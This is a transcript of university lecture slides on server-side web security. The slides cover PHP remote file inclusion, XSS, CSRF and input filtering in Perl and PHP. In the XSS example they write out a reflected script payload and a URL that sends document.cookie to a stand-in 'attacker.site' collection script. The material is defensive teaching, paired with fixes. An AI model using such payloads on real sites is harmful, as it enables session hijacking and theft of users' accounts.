Presentation on theme: "Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report 2014 https://info.cenzic.com/2013-Application-Security-Trends-Report.html."— Presentation transcript:
Web security issues From Cenzic Vulnerability report 2014 https://info.cenzic.com/2013-Application-Security-Trends-Report.html
SQL Injections Discussed in another lecture Web Server Configuration and Web server versions –Poorly configured systems. Allowing PHP remote file include –Version allows attackers to look the version to find a vulnerably in the web server.
PHP Remote File Include By default, PHP allows file functions to access resources on the Internet using a feature called "allow_url_fopen". When PHP scripts allow user input to influence file names, remote file inclusion can be the result.
PHP Remote File Include This attack allows (but is not limited to): Remote code execution Remote root kit installation On Windows, complete system compromise may be possible through the use of PHP’s SMB file wrappers Fixes: –Input validation and sanitizing –Config allow_url_fopen off will break apps that rely on this feature, but protect against a very active exploit vector.
Authentication and Authorization errors –Generally the ability to avoid a required login screen Or hack another login normally via XSS or CRSF Information leakage. –Data is displayed that is not necessary. Example UW used to show your SSN on every page of wyoweb. –Or displayed on “not protected” pages. Email address, phone number, etc. Why is this important?
XSS Works by the trust a user has for the site. –Broadly defined as tricking web pages into displaying web surfer supplied data capable of altering the page for the viewer. Most dynamic web pages change to display info for a user, but XSS changes the pages to get information from the viewer, normally cookies and other data.
What can XSS do? Cookie theft and Account Hijacking –Since XSS executes arbitrary web code on the clients browser. –Many cookie for older web applications hold all the information needed to login to an account (“Remember this computer”) verification info on the client side, state, and/or credentials –Allows for Identity theft, accessing confidential resources, pay content, even denial of account services.
What can XSS do? (2) User Tracking / Statistics –Able to gain information on sites user’s –Able to monitor their clicks through the vulnerable site. –Maybe able link users email address to clicks and interests good for spammers!
What can XSS do? (3) Browser / User exploitation –Possible Examples Use the credentials of a site to do what I want –Like using Microsoft site. –If there is a XSS hole in their site to run my malware. »Many people would press OK to run code from microsoft. High distribution rate and target audience Don’t exploit the site, just steal the users from the site and redirect them to another. Force users into actions onto another site on my behalf but remove me from the evidence.
What can XSS do? (4) Misinformation –dissemination of disinformation Since we can possibly rewrite content on web pages –And of course… SPAM and scams.
How to avoid XSS Most of it is avoidable, just like SQL injection and buffer overflow. –but like these, it’s sometimes easier to miss –especially on large and complex web sites. –One big one: –Turn off error messages on productions web sites. How? –Just like Buffer Overflow and SQL injection –Proper filtering on ALL user input data.
Example Typical script called welcome.cgi –GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 –Host: www.vulnerable.sitewww.vulnerable.site Response – Welcome! –Hi Joe Hacker – Welcome to our system… –
Example abused http://www.vulnerable.site/welcome.cgi?na me= alert(document.cookie) Since the link is clicked on the response is: – Welcome! –Hi alert(document.cookie) – Welcome to our system... – Which is executed by the browser
Example abused (2) Better example: –http://www.vulnerable.site/welcome.cgi?name= window.open(“http://www.attacker.site/collect.cgi?co okie=”%2Bdocument.cookie) Returns to user – window.open(“http://www.attacker.site/collect. cgi?cookie=”+document.cookie) Open a webpage that gets the cookie info about the vulnerable website.
Preventing XSS Don’t just filter dangerous characters Filter out everything that is not necessary Make sure there is one central function to sanitize everything. –So when it is added to, everything gets it.
Filter Examples Perl –Allow A through Z any case, Zero through Nine, period and dash. Remove everything else. –$var =~ s/[^a-z0-9 \-.]//ig;
Filter Examples (2) PHP –Use stripe_tags or htmlentities functions echo htmlentities($name); –Or use substitition again. echo preg_replace(‘/[^a-z0-9.\-]/i,'',$name);
Filter output data Not the html, but the data. similar to filtering input except that you filter characters that are written out to the client –May cause problems with output for dynamic web pages. example, would be writing as table
Possible Sources of Malicious Data Query String Cookies Posted data URLs and pieces of URLs, such as PATH_INFO Data retrieved from users that is persisted in some fashion such as in a database
Cross-site request forgeries (CSRF) Works by exploiting the trust that a site has for the user. –Works by specific urls allowing specific actions to be performed when requested –Same idea as one-click purchase http://site/stocks?buy=100&stock=ebay –Task performed by the user who already logged into the site. The browser makes the request, without the user knowledge. Can be done with XXS.
Major hacks with CSRF A vulnerability in GMail was discovered in January 2007 which allowed a attacker to steal a GMail user's contact list.vulnerability in GMailGMail user's contact list A different issue was discovered in Netflix which allowed an attacker to change the name and address on the account, as well as add movies to the rental queue etc...Netflix
Fixes for CSRF A user should always have to login. –No “Remember ME” or something of that sort, which is based on a cookie logoin. –Short session periods (maybe 5 minutes) can also reduce the odds of successful attacks. Adding a session token to each request –But XXS can get around this by sniffing the session token.
Tools The list is older, maybe still useful –http://projects.webappsec.org/w/page/132469 88/Web%20Application%20Security%20Scan ner%20Listhttp://projects.webappsec.org/w/page/132469 88/Web%20Application%20Security%20Scan ner%20List – From http://samate.nist.gov/index.php/Web_Application_Vulner ability_Scanners.html#Web_Applications_Issues Source code scanners –http://samate.nist.gov/index.php/Source_Cod e_Security_Analyzers.htmlhttp://samate.nist.gov/index.php/Source_Cod e_Security_Analyzers.html